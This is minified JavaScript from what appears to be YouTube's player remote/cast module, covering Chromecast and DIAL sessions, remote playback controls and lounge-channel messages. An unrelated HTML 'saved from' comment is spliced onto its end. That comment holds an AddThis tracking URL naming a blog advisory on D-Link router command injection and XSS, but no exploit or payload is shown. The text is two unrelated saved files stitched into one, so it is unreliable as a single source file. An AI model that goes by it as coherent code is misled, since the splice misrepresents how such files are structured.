g.k.hS=function(a,b){H7("Setting connected screen ID: "+a+" -> "+b);if(this.u){var c=this.u.getScreen();if(!a||c&&c.id!=a)H7("Unsetting old screen status: "+this.u.u.friendlyName),J7(this,null)}if(a&&b){if(!this.u){c=k6(this.B.sg(),a);if(!c){H7("setConnectedScreenStatus: Unknown screen.");return}var d=AJa(this,c);d||(H7("setConnectedScreenStatus: Connected receiver not custom..."),d=new chrome.cast.Receiver(c.uuid?c.uuid:c.id,c.name),d.receiverType=chrome.cast.ReceiverType.CUSTOM,this.C.push(d),chrome.cast.setCustomReceivers(this.C,
g.Ka,(0,g.z)(function(e){this.Ad("Failed to set initial custom receivers: "+g.Lj(e))},this)));
H7("setConnectedScreenStatus: new active receiver: "+d.friendlyName);J7(this,new F7(this.B,d),!0)}this.u.uA(b)}else H7("setConnectedScreenStatus: no screen.")};
g.k.iS=function(a){this.na()?this.Ad("Setting connection data on disposed cast v2"):this.u?this.u.no(a):this.Ad("Setting connection data without a session")};
g.k.cT=function(){this.na()?this.Ad("Stopping session on disposed cast v2"):this.u?(this.u.stop(),J7(this,null)):H7("Stopping non-existing session")};
g.k.requestSession=function(){chrome.cast.requestSession((0,g.z)(this.sG,this),(0,g.z)(this.LQ,this))};
g.k.ca=function(){this.B.unsubscribe("onlineScreenChange",(0,g.z)(this.RI,this));window.chrome&&chrome.cast&&chrome.cast.removeReceiverActionListener(this.F);var a=aJa,b=g.Ja("yt.mdx.remote.debug.handlers_");g.ob(b||[],a);g.fg(this.u);g.O.prototype.ca.call(this)};
g.k.Ad=function(a){i7("Controller",a)};
g.k.uG=function(a,b){this.u==a&&(b||J7(this,null),this.V("yt-remote-cast2-session-change",b))};
g.k.qQ=function(a,b){if(!this.na())if(a)switch(a.friendlyName=chrome.cast.unescape(a.friendlyName),H7("onReceiverAction_ "+a.label+" / "+a.friendlyName+"-- "+b),b){case chrome.cast.ReceiverAction.CAST:if(this.u)if(this.u.u.label!=a.label)H7("onReceiverAction_: Stopping active receiver: "+this.u.u.friendlyName),this.u.stop();else{H7("onReceiverAction_: Casting to active receiver.");this.u.getScreen()&&this.V("yt-remote-cast2-session-change",this.u.getScreen());break}switch(a.receiverType){case chrome.cast.ReceiverType.CUSTOM:J7(this,
new F7(this.B,a));break;case chrome.cast.ReceiverType.DIAL:J7(this,new E7(this.B,a,this.K));break;case chrome.cast.ReceiverType.CAST:J7(this,new C7(this.B,a,this.D));break;default:this.Ad("Unknown receiver type: "+a.receiverType)}break;case chrome.cast.ReceiverAction.STOP:this.u&&this.u.u.label==a.label?this.u.stop():this.Ad("Stopping receiver w/o session: "+a.friendlyName)}else this.Ad("onReceiverAction_ called without receiver.")};
g.k.ZO=function(a){if(this.na())return Promise.reject(Error("disposed"));var b=a.receiver;b.receiverType!=chrome.cast.ReceiverType.DIAL&&(this.Ad("Not DIAL receiver: "+b.friendlyName),b.receiverType=chrome.cast.ReceiverType.DIAL);var c=this.u?this.u.u:null;if(!c||c.label!=b.label)return this.Ad("Receiving DIAL launch request for non-clicked DIAL receiver: "+b.friendlyName),Promise.reject(Error("illegal DIAL launch"));if(c&&c.label==b.label&&c.receiverType!=chrome.cast.ReceiverType.DIAL){if(this.u.getScreen())return H7("Reselecting dial screen."),
this.V("yt-remote-cast2-session-change",this.u.getScreen()),Promise.resolve(new chrome.cast.DialLaunchResponse(!1));this.Ad('Changing CAST intent from "'+c.receiverType+'" to "dial" for '+b.friendlyName);J7(this,new E7(this.B,b,this.K))}b=this.u;b.K=a;return b.K.appState==chrome.cast.DialAppState.RUNNING?new Promise((0,g.z)(b.nL,b,(b.K.extraData||{}).screenId||null)):new Promise((0,g.z)(b.Gy,b))};
g.k.sG=function(a){if(!this.na()){H7("New cast session ID: "+a.sessionId);var b=a.receiver;if(b.receiverType!=chrome.cast.ReceiverType.CUSTOM){if(!this.u)if(b.receiverType==chrome.cast.ReceiverType.CAST)H7("Got resumed cast session before resumed mdx connection."),b.friendlyName=chrome.cast.unescape(b.friendlyName),J7(this,new C7(this.B,b,this.D),!0);else{this.Ad("Got non-cast session without previous mdx receiver event, or mdx resume.");return}var c=this.u.u,d=k6(this.B.sg(),c.label);d&&f6(d,b.label)&&
c.receiverType!=chrome.cast.ReceiverType.CAST&&b.receiverType==chrome.cast.ReceiverType.CAST&&(H7("onSessionEstablished_: manual to cast session change "+b.friendlyName),g.fg(this.u),this.u=new C7(this.B,b,this.D),this.u.subscribe("sessionScreen",(0,g.z)(this.uG,this,this.u)),this.u.no(null));this.u.tA(a)}}};
g.k.bT=function(){return this.u?this.u.SI():null};
g.k.LQ=function(a){this.na()||(this.Ad("Failed to estabilish a session: "+g.Lj(a)),a.code!=chrome.cast.ErrorCode.CANCEL&&J7(this,null))};
g.k.tQ=function(a){H7("Receiver availability updated: "+a);if(!this.na()){var b=I7(this);this.I=a==chrome.cast.ReceiverAvailability.AVAILABLE;I7(this)!=b&&this.V("yt-remote-cast2-availability-change",I7(this))}};
g.k.RI=function(){this.na()||(this.C=BJa(this),H7("Updating custom receivers: "+g.Lj(this.C)),chrome.cast.setCustomReceivers(this.C,g.Ka,(0,g.z)(function(){this.Ad("Failed to set custom receivers.")},this)),this.V("yt-remote-cast2-availability-change",I7(this)))};
G7.prototype.setLaunchParams=G7.prototype.iS;G7.prototype.setConnectedScreenStatus=G7.prototype.hS;G7.prototype.stopSession=G7.prototype.cT;G7.prototype.getCastSession=G7.prototype.bT;G7.prototype.requestSession=G7.prototype.requestSession;G7.prototype.init=G7.prototype.init;G7.prototype.dispose=G7.prototype.dispose;var P7=[];g.k=U7.prototype;
g.k.reset=function(a){this.listId="";this.index=-1;this.videoId="";V7(this);this.volume=-1;this.muted=!1;a&&(this.index=a.index,this.listId=a.listId,this.videoId=a.videoId,this.playerState=a.playerState,this.volume=a.volume,this.muted=a.muted,this.audioTrackId=a.audioTrackId,this.u=a.trackData,this.Qi=a.hasPrevious,this.hasNext=a.hasNext,this.P=a.playerTime,this.K=a.playerTimeAt,this.F=a.seekableStart,this.B=a.seekableEnd,this.I=a.duration,this.S=a.loadedTime,this.D=a.liveIngestionTime,this.C=!isNaN(this.D))};
g.k.Gb=function(){return 1==this.playerState};
g.k.isAdPlaying=function(){return 1081==this.playerState};
g.k.hi=function(a){this.I=isNaN(a)?0:a};
g.k.getDuration=function(){return this.C?this.I+W7(this):this.I};
g.k.clone=function(){return new U7($7(this))};g.u(b8,g.O);g.k=b8.prototype;g.k.getState=function(){return this.Ka};
g.k.play=function(){d8(this)?(this.u?this.u.play(null,g.Ka,i8(this,"play")):h8(this,"play"),g8(this,1,Y7(c8(this))),this.V("remotePlayerChange")):e8(this,this.play)};
g.k.pause=function(){d8(this)?(this.u?this.u.pause(null,g.Ka,i8(this,"pause")):h8(this,"pause"),g8(this,2,Y7(c8(this))),this.V("remotePlayerChange")):e8(this,this.pause)};
g.k.seekTo=function(a){if(d8(this)){if(this.u){var b=c8(this),c=new chrome.cast.media.SeekRequest;c.currentTime=a;b.Gb()||3==b.playerState?c.resumeState=chrome.cast.media.ResumeState.PLAYBACK_START:c.resumeState=chrome.cast.media.ResumeState.PLAYBACK_PAUSE;this.u.seek(c,g.Ka,i8(this,"seekTo",{newTime:a}))}else h8(this,"seekTo",{newTime:a});g8(this,3,a);this.V("remotePlayerChange")}else e8(this,g.Ta(this.seekTo,a))};
g.k.stop=function(){if(d8(this)){this.u?this.u.stop(null,g.Ka,i8(this,"stopVideo")):h8(this,"stopVideo");var a=c8(this);a.index=-1;a.videoId="";V7(a);f8(this,a);this.V("remotePlayerChange")}else e8(this,this.stop)};
g.k.setVolume=function(a,b){if(d8(this)){var c=c8(this);if(this.B){if(c.volume!=a){var d=Math.round(a)/100;this.B.setReceiverVolumeLevel(d,(0,g.z)(function(){i7("CP","set receiver volume: "+d)},this),(0,g.z)(function(){this.Ad("failed to set receiver volume.")},this))}c.muted!=b&&this.B.setReceiverMuted(b,(0,g.z)(function(){i7("CP","set receiver muted: "+b)},this),(0,g.z)(function(){this.Ad("failed to set receiver muted.")},this))}else{var e={volume:a,
muted:b};-1!=c.volume&&(e.delta=a-c.volume);h8(this,"setVolume",e)}c.muted=b;c.volume=a;f8(this,c)}else e8(this,g.Ta(this.setVolume,a,b))};
g.k.NI=function(a,b){if(d8(this)){var c=c8(this),d={videoId:a};b&&(c.u={trackName:b.name,languageCode:b.languageCode,sourceLanguageCode:b.translationLanguage?b.translationLanguage.languageCode:"",languageName:b.languageName,kind:b.kind},d.style=g.Lj(b.style),g.Yb(d,c.u));h8(this,"setSubtitlesTrack",d);f8(this,c)}else e8(this,g.Ta(this.NI,a,b))};
g.k.setAudioTrack=function(a,b){if(d8(this)){var c=b.getLanguageInfo().getId();h8(this,"setAudioTrack",{videoId:a,audioTrackId:c});var d=c8(this);d.audioTrackId=c;f8(this,d)}else e8(this,g.Ta(this.setAudioTrack,a,b))};
g.k.playVideo=function(a,b,c,d,e,f,h){var l=c8(this);c=c||0;var m={videoId:a,currentIndex:c};Z7(l,a,c);void 0!==b&&(X7(l,b),m.currentTime=b);void 0!==d&&(m.listId=d);null!=e&&(m.playerParams=e);null!=f&&(m.clickTrackingParams=f);null!=h&&(m.locationInfo=g.Lj(h));h8(this,"setPlaylist",m);d||f8(this,l)};
g.k.Jv=function(a,b){if(d8(this)){if(a&&b){var c=c8(this);Z7(c,a,b);f8(this,c)}h8(this,"previous")}else e8(this,g.Ta(this.Jv,a,b))};
g.k.nextVideo=function(a,b){if(d8(this)){if(a&&b){var c=c8(this);Z7(c,a,b);f8(this,c)}h8(this,"next")}else e8(this,g.Ta(this.nextVideo,a,b))};
g.k.KC=function(){d8(this)?h8(this,"dismissAutoplay"):e8(this,this.KC)};
g.k.dispose=function(){if(3!=this.Ka){var a=this.Ka;this.Ka=3;this.V("proxyStateChange",a,this.Ka)}g.O.prototype.dispose.call(this)};
g.k.ca=function(){OJa(this);this.C=null;this.D.clear();a8(this,null);g.O.prototype.ca.call(this)};
g.k.xA=function(a){if((a!=this.Ka||2==a)&&3!=this.Ka&&0!=a){var b=this.Ka;this.Ka=a;this.V("proxyStateChange",b,a);if(1==a)for(;!this.D.isEmpty();)b=a=this.D,g.kb(b.u)&&(b.u=b.B,b.u.reverse(),b.B=[]),a.u.pop().apply(this);else 3==a&&this.dispose()}};
g.k.mQ=function(a,b){this.V(a,b)};
g.k.KO=function(a){if(!a)this.mr(null),a8(this,null);else if(this.B.receiver.volume){a=this.B.receiver.volume;var b=c8(this),c=Math.round(100*a.level||0);if(b.volume!=c||b.muted!=a.muted)i7("CP","Cast volume update: "+a.level+(a.muted?" muted":"")),b.volume=c,b.muted=!!a.muted,f8(this,b)}};
g.k.mr=function(a){i7("CP","Cast media: "+!!a);this.u&&this.u.removeUpdateListener(this.K);if(this.u=a)this.u.addUpdateListener(this.K),PJa(this),this.V("remotePlayerChange")};
g.k.JO=function(a){a?(PJa(this),this.V("remotePlayerChange")):this.mr(null)};
g.k.QA=function(){h8(this,"sendDebugCommand",{debugCommand:"stats4nerds "})};
g.k.RO=function(){var a=LJa();a&&a8(this,a)};
g.k.Ad=function(a){i7("CP",a)};g.u(j8,g.O);g.k=j8.prototype;
g.k.connect=function(a,b){if(b){var c=b.listId,d=b.videoId,e=b.playerParams,f=b.clickTrackingParams,h=b.index,l={videoId:d},m=b.currentTime,n=b.locationInfo;void 0!==m&&(l.currentTime=5>=m?0:m);e&&(l.playerParams=e);n&&(l.locationInfo=n);f&&(l.clickTrackingParams=f);c&&(l.listId=c);void 0!==h&&(l.currentIndex=h);c&&(this.Kb.listId=c);this.Kb.videoId=d;this.Kb.index=h||0;this.Kb.state=3;X7(this.Kb,m);this.D="UNSUPPORTED";k8("Connecting with setPlaylist and params: "+g.Lj(l));this.u.connect({method:"setPlaylist",
params:g.Lj(l)},a,VHa())}else k8("Connecting without params"),this.u.connect({},a,VHa());RJa(this)};
g.k.dispose=function(){this.na()||(this.V("beforeDispose"),l8(this,3));g.O.prototype.dispose.call(this)};
g.k.ca=function(){m8(this);o8(this);n8(this);g.Mo(this.K);this.K=NaN;g.Mo(this.P);this.P=NaN;this.C=null;g.hp(this.ba);this.ba.length=0;this.u.dispose();g.O.prototype.ca.call(this);this.D=this.I=this.B=this.Kb=this.u=null};
g.k.KK=function(){this.Pn(2)};
g.k.OO=function(){k8("Channel opened");this.Y&&(this.Y=!1,n8(this),this.X=g.Ko((0,g.z)(function(){k8("Timing out waiting for a screen.");this.Pn(1)},this),15E3));
ZHa(YIa(this.u),this.fa)};
g.k.LO=function(){k8("Channel closed");isNaN(this.F)?p6(!0):p6();this.dispose()};
g.k.MO=function(a){p6();isNaN(this.tq())?(k8("Channel error: "+a+" without reconnection"),this.dispose()):(this.Y=!0,k8("Channel error: "+a+" with reconnection in "+this.tq()+" ms"),l8(this,2))};
g.k.NO=function(a){a.params?k8("Received: action="+a.action+", params="+g.Lj(a.params)):k8("Received: action="+a.action+" {}");switch(a.action){case "loungeStatus":a=w6(a.params.devices);this.B=g.Oc(a,function(c){return new d6(c)});
a=!!g.fb(this.B,function(c){return"LOUNGE_SCREEN"==c.type});
UJa(this,a);break;case "loungeScreenDisconnected":g.pb(this.B,function(c){return"LOUNGE_SCREEN"==c.type});
UJa(this,!1);break;case "remoteConnected":var b=new d6(w6(a.params.device));g.fb(this.B,function(c){return b?c.id==b.id:!1})||FHa(this.B,b);
break;case "remoteDisconnected":b=new d6(w6(a.params.device));g.pb(this.B,function(c){return b?c.id==b.id:!1});
break;case "gracefulDisconnect":break;case "playlistModified":WJa(this,a);break;case "nowPlaying":YJa(this,a);break;case "onStateChange":XJa(this,a);break;case "onAdStateChange":ZJa(this,a);break;case "onVolumeChanged":$Ja(this,a);break;case "onSubtitlesTrackChanged":VJa(this,a);break;case "nowAutoplaying":aKa(this,a);break;case "autoplayDismissed":this.V("autoplayDismissed");break;case "autoplayUpNext":this.I=a.params.videoId||null;this.V("autoplayUpNext",this.I);break;case "onAutoplayModeChanged":this.D=
a.params.autoplayMode;this.V("autoplayModeChange",this.D);"DISABLED"==this.D&&this.V("autoplayDismissed");break;case "onHasPreviousNextChanged":bKa(this,a);break;case "requestAssistedSignIn":this.V("assistedSignInRequested",a.params.authCode);break;default:k8("Unrecognized action: "+a.action)}};
g.k.YR=function(){if(this.C){var a=this.C;this.C=null;this.Kb.videoId!=a&&p8(this,"getNowPlaying")}};
g.k.BK=function(){var a=3;this.na()||(a=0,isNaN(this.tq())?d7(this.u)&&isNaN(this.F)&&(a=1):a=2);return a};
g.k.Pn=function(a){k8("Disconnecting with "+a);m8(this);this.V("beforeDisconnect",a);1==a&&p6();ZIa(this.u,a);this.dispose()};
g.k.zK=function(){var a=this.Kb;this.C&&(a=this.Kb.clone(),Z7(a,this.C,a.index));return $7(a)};
g.k.jS=function(a){var b=new U7(a);b.videoId&&b.videoId!=this.Kb.videoId&&(this.C=b.videoId,g.Mo(this.K),this.K=g.Ko((0,g.z)(this.YR,this),5E3));var c=[];this.Kb.listId==b.listId&&this.Kb.videoId==b.videoId&&this.Kb.index==b.index||c.push("remoteQueueChange");this.Kb.playerState==b.playerState&&this.Kb.volume==b.volume&&this.Kb.muted==b.muted&&Y7(this.Kb)==Y7(b)&&g.Lj(this.Kb.u)==g.Lj(b.u)||c.push("remotePlayerChange");this.Kb.reset(a);g.Cb(c,function(d){this.V(d)},this)};
g.k.qD=function(){var a=this.u.I.id,b=g.fb(this.B,function(c){return"REMOTE_CONTROL"==c.type&&c.id!=a});
return b?b.id:""};
g.k.tq=function(){var a=this.u;return a.B.isActive()?a.B.B-g.A():NaN};
g.k.qK=function(){return this.D||"UNSUPPORTED"};
g.k.rK=function(){return this.I||""};
g.k.YS=function(){if(!isNaN(this.tq())){var a=this.u.B;g.nn(a.u);a.start()}};
g.k.fS=function(a,b){p8(this,a,b);TJa(this)};
g.k.MI=function(){var a=g.Bq("SID","")||"",b=g.Bq("SAPISID","")||"",c=g.Bq("__Secure-3PAPISID","")||"";if(!a&&!b&&!c)return"";a=g.sf(g.Xe(a),2);b=g.sf(g.Xe(b),2);c=g.sf(g.Xe(c),2);return g.sf(g.Xe(a+","+b+","+c),2)};
j8.prototype.subscribe=j8.prototype.subscribe;j8.prototype.unsubscribeByKey=j8.prototype.ll;j8.prototype.getProxyState=j8.prototype.BK;j8.prototype.disconnect=j8.prototype.Pn;j8.prototype.getPlayerContextData=j8.prototype.zK;j8.prototype.setPlayerContextData=j8.prototype.jS;j8.prototype.getOtherConnectedRemoteId=j8.prototype.qD;j8.prototype.getReconnectTimeout=j8.prototype.tq;j8.prototype.getAutoplayMode=j8.prototype.qK;j8.prototype.getAutoplayVideoId=j8.prototype.rK;j8.prototype.reconnect=j8.prototype.YS;
j8.prototype.sendMessage=j8.prototype.fS;j8.prototype.getXsrfToken=j8.prototype.MI;g.u(q8,m7);g.k=q8.prototype;g.k.sg=function(a){return this.wf.$_gs(a)};
g.k.contains=function(a){return!!this.wf.$_c(a)};
g.k.get=function(a){return this.wf.$_g(a)};
g.k.start=function(){this.wf.$_st()};
g.k.add=function(a,b,c){this.wf.$_a(a,b,c)};
g.k.remove=function(a,b,c){this.wf.$_r(a,b,c)};
g.k.ww=function(a,b,c,d){this.wf.$_un(a,b,c,d)};
g.k.ca=function(){for(var a=0,b=this.u.length;a<b;++a)this.wf.$_ubk(this.u[a]);this.u.length=0;this.wf=null;m7.prototype.ca.call(this)};
g.k.LL=function(){this.V("screenChange")};
g.k.TP=function(){this.V("onlineScreenChange")};
w7.prototype.$_st=w7.prototype.start;w7.prototype.$_gspc=w7.prototype.ZS;w7.prototype.$_gsppc=w7.prototype.QI;w7.prototype.$_c=w7.prototype.contains;w7.prototype.$_g=w7.prototype.get;w7.prototype.$_a=w7.prototype.add;w7.prototype.$_un=w7.prototype.ww;w7.prototype.$_r=w7.prototype.remove;w7.prototype.$_gs=w7.prototype.sg;w7.prototype.$_gos=w7.prototype.OI;w7.prototype.$_s=w7.prototype.subscribe;w7.prototype.$_ubk=w7.prototype.ll;var J8=null,I8=!1,r8=null,s8=null,H8=null,w8=[];g.u(K8,g.B);g.k=K8.prototype;g.k.ca=function(){g.B.prototype.ca.call(this);this.u.stop();this.C.stop();this.P.stop();this.Y();var a=this.yb;a.unsubscribe("proxyStateChange",this.pG,this);a.unsubscribe("remotePlayerChange",this.ur,this);a.unsubscribe("remoteQueueChange",this.Bv,this);a.unsubscribe("previousNextChange",this.mG,this);a.unsubscribe("nowAutoplaying",this.hG,this);a.unsubscribe("autoplayDismissed",this.IF,this);this.yb=this.B=null};
g.k.UE=function(a,b){for(var c=[],d=1;d<arguments.length;++d)c[d-1]=arguments[d];if(2!=this.yb.Ka)if(L8(this)){if(!c8(this.yb).isAdPlaying()||"control_seek"!==a)switch(a){case "control_toggle_play_pause":c8(this.yb).Gb()?this.yb.pause():this.yb.play();break;case "control_play":this.yb.play();break;case "control_pause":this.yb.pause();break;case "control_seek":this.K.DE(c[0],c[1]);break;case "control_subtitles_set_track":M8(this,c[0]);break;case "control_set_audio_track":this.setAudioTrack(c[0])}}else switch(a){case "control_toggle_play_pause":case "control_play":case "control_pause":c=
this.J.getCurrentTime();N8(this,0===c?void 0:c);break;case "control_seek":N8(this,c[0]);break;case "control_subtitles_set_track":M8(this,c[0]);break;case "control_set_audio_track":this.setAudioTrack(c[0])}};
g.k.HO=function(a){this.P.HK(a)};
g.k.LS=function(a){this.UE("control_subtitles_set_track",g.Sb(a)?null:a)};
g.k.WH=function(){var a=this.J.getOption("captions","track");g.Sb(a)||M8(this,a)};
g.k.pc=function(a){this.B.pc(a,this.J.getVideoData().lengthSeconds)};
g.k.xP=function(){g.Sb(this.D)||mKa(this,this.D);this.F=!1};
g.k.pG=function(a,b){this.C.stop();2===b&&this.RH()};
g.k.ur=function(){if(L8(this)){this.u.stop();var a=c8(this.yb);switch(a.playerState){case 1080:case 1081:case 1084:case 1085:this.B.Fe=1;break;case 1082:case 1083:this.B.Fe=0;break;default:this.B.Fe=-1}switch(a.playerState){case 1081:case 1:this.ub(new g.HM(8));this.QH();break;case 1085:case 3:this.ub(new g.HM(9));break;case 1083:case 0:this.ub(new g.HM(2));this.K.stop();this.pc(this.J.getVideoData().lengthSeconds);break;case 1084:this.ub(new g.HM(4));break;case 2:this.ub(new g.HM(4));this.pc(Y7(a));
break;case -1:this.ub(new g.HM(64));break;case -1E3:this.ub(new g.HM(128,{errorCode:"mdx.remoteerror",errorMessage:"\u6b64\u89c6\u9891\u65e0\u6cd5\u8fdc\u7a0b\u64ad\u653e\u3002"}))}a=c8(this.yb).u;var b=this.D;(a||b?a&&b&&a.trackName==b.trackName&&a.languageCode==b.languageCode&&a.languageName==b.languageName&&a.kind==b.kind:1)||(this.D=a,mKa(this,a));a=c8(this.yb);-1===a.volume||Math.round(this.J.getVolume())===a.volume&&this.J.isMuted()===a.muted||this.S.isActive()||this.wI()}else lKa(this)};
g.k.mG=function(){this.J.V("mdxpreviousnextchange")};
g.k.Bv=function(){L8(this)||lKa(this)};
g.k.hG=function(a){isNaN(a)||this.J.V("mdxnowautoplaying",a)};
g.k.IF=function(){this.J.V("mdxautoplaycanceled")};
g.k.setAudioTrack=function(a){L8(this)&&this.yb.setAudioTrack(this.J.getVideoData(1).videoId,a)};
g.k.seekTo=function(a,b){-1===c8(this.yb).playerState?N8(this,a):b&&this.yb.seekTo(a)};
g.k.wI=function(){var a=this;if(L8(this)){var b=c8(this.yb);this.events.Lb(this.X);b.muted?this.J.mute():this.J.unMute();this.J.setVolume(b.volume);this.X=this.events.N(this.J,"onVolumeChange",function(c){kKa(a,c)})}};
g.k.QH=function(){this.u.stop();if(!this.yb.na()){var a=c8(this.yb);a.Gb()&&this.ub(new g.HM(8));this.pc(Y7(a));this.u.start()}};
g.k.RH=function(){this.C.stop();this.u.stop();var a=this.yb.C.getReconnectTimeout();2==this.yb.Ka&&!isNaN(a)&&this.C.start()};
g.k.ub=function(a){this.C.stop();var b=this.I;if(!g.MM(b,a)){var c=g.U(a,2);c!==g.U(this.I,2)&&g.F0(this.J.app,c);this.I=a;oKa(this.B,b,a)}};g.u(O8,g.V);O8.prototype.zc=function(){this.u.show()};
O8.prototype.kb=function(){this.u.hide()};
O8.prototype.B=function(){g.hM("https://support.google.com/youtube/answer/7640706")};
O8.prototype.C=function(){c6("mdx-manual-pairing-popup-ok");this.kb()};g.u(P8,g.V);P8.prototype.zc=function(){this.u.show()};
P8.prototype.kb=function(){this.u.hide()};
P8.prototype.B=function(){c6("mdx-privacy-popup-cancel");this.kb()};
P8.prototype.C=function(){c6("mdx-privacy-popup-confirm");this.kb()};g.u(Q8,g.V);Q8.prototype.B=function(a){nKa(this,a.state)};g.u(R8,g.vX);R8.prototype.D=function(){var a=this.J.getOption("remote","receivers");a&&1<a.length&&!this.J.getOption("remote","quickCast")?(this.Dl=g.Db(a,this.u,this),g.wX(this,g.Oc(a,this.u)),a=this.J.getOption("remote","currentReceiver"),this.Yg(this.u(a)),this.enable(!0)):this.enable(!1)};
R8.prototype.u=function(a){return a.key};
R8.prototype.Uh=function(a){return"cast-selector-receiver"===a?"\u6295\u5c04\u2026":this.Dl[a].name};
R8.prototype.We=function(a){g.vX.prototype.We.call(this,a);this.J.setOption("remote","currentReceiver",this.Dl[a]);this.Wa.kb()};g.u(S8,g.FS);g.k=S8.prototype;
g.k.create=function(){var a=this.player.T(),b=g.AD(a);a={device:"Desktop",app:"youtube-desktop",loadCastApiSetupScript:g.Q(a.experiments,"mdx_load_cast_api_bootstrap_script"),enableDialLoungeToken:g.Q(a.experiments,"enable_dial_short_lived_lounge_token"),enableCastLoungeToken:g.Q(a.experiments,"enable_cast_short_lived_lounge_token")};fKa(b,a);this.subscriptions.push(g.Ro("yt-remote-before-disconnect",this.FO,this));this.subscriptions.push(g.Ro("yt-remote-connection-change",this.uQ,this));this.subscriptions.push(g.Ro("yt-remote-receiver-availability-change",
this.oG,this));this.subscriptions.push(g.Ro("yt-remote-auto-connect",this.sQ,this));this.subscriptions.push(g.Ro("yt-remote-receiver-resumed",this.rQ,this));this.subscriptions.push(g.Ro("mdx-privacy-popup-confirm",this.OR,this));this.subscriptions.push(g.Ro("mdx-privacy-popup-cancel",this.NR,this));this.subscriptions.push(g.Ro("mdx-manual-pairing-popup-ok",this.CL,this));this.oG()};
g.k.load=function(){this.player.cancelPlayback();g.FS.prototype.load.call(this);this.Kg=new K8(this,this.player,this.yb);var a=(a=jKa())?a.currentTime:0;var b=G8()?new b8(B8(),void 0):null;0==a&&b&&(a=Y7(c8(b)));0!==a&&this.pc(a);oKa(this,this.Lc,this.Lc);g.N0(this.player.app,6)};
g.k.unload=function(){this.player.V("mdxautoplaycanceled");this.Hk=this.Qh;g.gg(this.Kg,this.yb);this.yb=this.Kg=null;g.FS.prototype.unload.call(this);g.N0(this.player.app,5);T8(this)};
g.k.ca=function(){g.So(this.subscriptions);g.FS.prototype.ca.call(this)};
g.k.gj=function(a,b){for(var c=[],d=1;d<arguments.length;++d)c[d-1]=arguments[d];this.loaded&&this.Kg.UE.apply(this.Kg,[a].concat(g.ma(c)))};
g.k.getAdState=function(){return this.Fe};
g.k.CK=function(){return this.loaded?this.Kg.suggestion:null};
g.k.Qi=function(){return this.yb?c8(this.yb).Qi:!1};
g.k.hasNext=function(){return this.yb?c8(this.yb).hasNext:!1};
g.k.pc=function(a,b){this.oE=a||0;this.player.V("progresssync",a,b)};
g.k.getCurrentTime=function(){return this.oE};
g.k.getProgressState=function(){var a=c8(this.yb),b=this.player.getVideoData();return{allowSeeking:g.Q(this.player.T().experiments,"web_player_mdx_allow_seeking_change_killswitch")?this.player.De():!a.isAdPlaying()&&this.player.De(),clipEnd:b.clipEnd,clipStart:b.clipStart,current:this.getCurrentTime(),displayedStart:-1,duration:a.getDuration(),ingestionTime:a.C?a.D+W7(a):a.D,isAtLiveHead:1>=(a.C?a.B+W7(a):a.B)-this.getCurrentTime(),loaded:a.S,seekableEnd:a.C?a.B+W7(a):a.B,seekableStart:0<a.F?a.F+
W7(a):a.F}};
g.k.nextVideo=function(){this.yb&&this.yb.nextVideo()};
g.k.Jv=function(){this.yb&&this.yb.Jv()};
g.k.FO=function(a){1===a&&(this.Tz=this.yb?c8(this.yb):null)};
g.k.uQ=function(){var a=G8()?new b8(B8(),void 0):null;if(a){var b=this.Hk;this.loaded&&this.unload();this.yb=a;this.Tz=null;b.key!==this.Qh.key&&(this.Hk=b,this.load())}else g.fg(this.yb),this.yb=null,this.loaded&&(this.unload(),(a=this.Tz)&&a.videoId===this.player.getVideoData().videoId&&this.player.cueVideoById(a.videoId,Y7(a)));this.player.V("videodatachange","newdata",this.player.getVideoData(),3)};
g.k.oG=function(){var a=[this.Qh],b=a.concat,c=gKa();Q7()&&g.pu("yt-remote-cast-available")&&c.push({key:"cast-selector-receiver",name:"Cast..."});this.Dl=b.call(a,c);a=C8()||this.Qh;U8(this,a);this.player.ya("onMdxReceiversChange")};
g.k.sQ=function(){var a=C8();U8(this,a)};
g.k.rQ=function(){this.Hk=C8()};
g.k.OR=function(){this.xr=!0;T8(this);I8=!1;J8&&E8(J8,1);J8=null};
g.k.NR=function(){this.xr=!1;T8(this);U8(this,this.Qh);this.Hk=this.Qh;I8=!1;J8=null;this.player.playVideo()};
g.k.CL=function(){this.Fu=!0;T8(this);g.ou("yt-remote-manual-pairing-warning-shown",!0,2592E3);I8=!1;J8&&E8(J8,1);J8=null};
g.k.xe=function(a,b){switch(a){case "casting":return this.loaded;case "receivers":return this.Dl;case "currentReceiver":return b&&("cast-selector-receiver"===b.key?S7():U8(this,b)),this.loaded?this.Hk:this.Qh;case "quickCast":return 2===this.Dl.length&&"cast-selector-receiver"===this.Dl[1].key?(b&&S7(),!0):!1}};
g.k.QA=function(){this.yb.QA()};
g.k.ji=function(){return!1};
g.k.getOptions=function(){return["casting","receivers","currentReceiver","quickCast"]};g.nU.remote=S8;})(_yt_player);
<!DOCTYPE html>
<!-- saved from url=(1405)https://s7.addthis.com/static/sh.f48a1a04fe8dbf021b4cda1d.html#rand=0.9270787214118339&iit=1608630388494&tmr=load%3D1608630388366%26core%3D1608630388442%26main%3D1608630388485%26ifr%3D1608630388499&cb=0&cdn=0&md=0&kw=&ab=-&dh=c0mix.github.io&dr=&du=http%3A%2F%2Fc0mix.github.io%2F2019%2FD-Link-DIR-3782-SecAdvisory-OS-Command-Injection-and-Stored-XSS%2F&href=https%3A%2F%2Fc0mix.github.io%2F2019%2FD-Link-DIR-3782-SecAdvisory-OS-Command-Injection-and-Stored-XSS%2F&dt=D-Link%20DSL-3782%20SecAdvisory%3A%20OS%20Command%20Injection%20and%20Stored%20XSS&dbg=0&cap=tc%3D0%26ab%3D0&inst=1&jsl=1&prod=undefined&lng=zh&ogt=image%2Cdescription%2Ctitle%2Ctype%3Darticle&pc=men&pub=ra-5c4c36d2a4cca409&ssl=1&sid=5fe1c07454fa879b&srf=0.01&ver=300&xck=0&xtr=0&og=type%3Darticle%26title%3DD-Link%2520DSL-3782%2520SecAdvisory%253A%2520OS%2520Command%2520Injection%2520and%2520Stored%2520XSS%26description%3DIn%2520this%2520article%2520I%25E2%2580%2599m%2520going%2520to%2520release%2520the%2520technical%2520details%2520of%2520two%2520vulnerabilities%2520that%2520I%2520found%2520by%2520analyzing%2520D-Link%2520DIR-3782%2520router%2520web%2520interface.%2520In%2520particular%2520I%25E2%2580%2599ve%2520found%2520OS%2520Command%2520Injection%2520and%2520Stored%2520Cross%2520Site%2520Scripting%2520vulnerabilities.%26image%3D%252Fimages%252Ffavicons%252Ffavicon-194x194.png&csi=undefined&rev=v8.28.8-wp&ct=1&xld=1&xd=1 -->
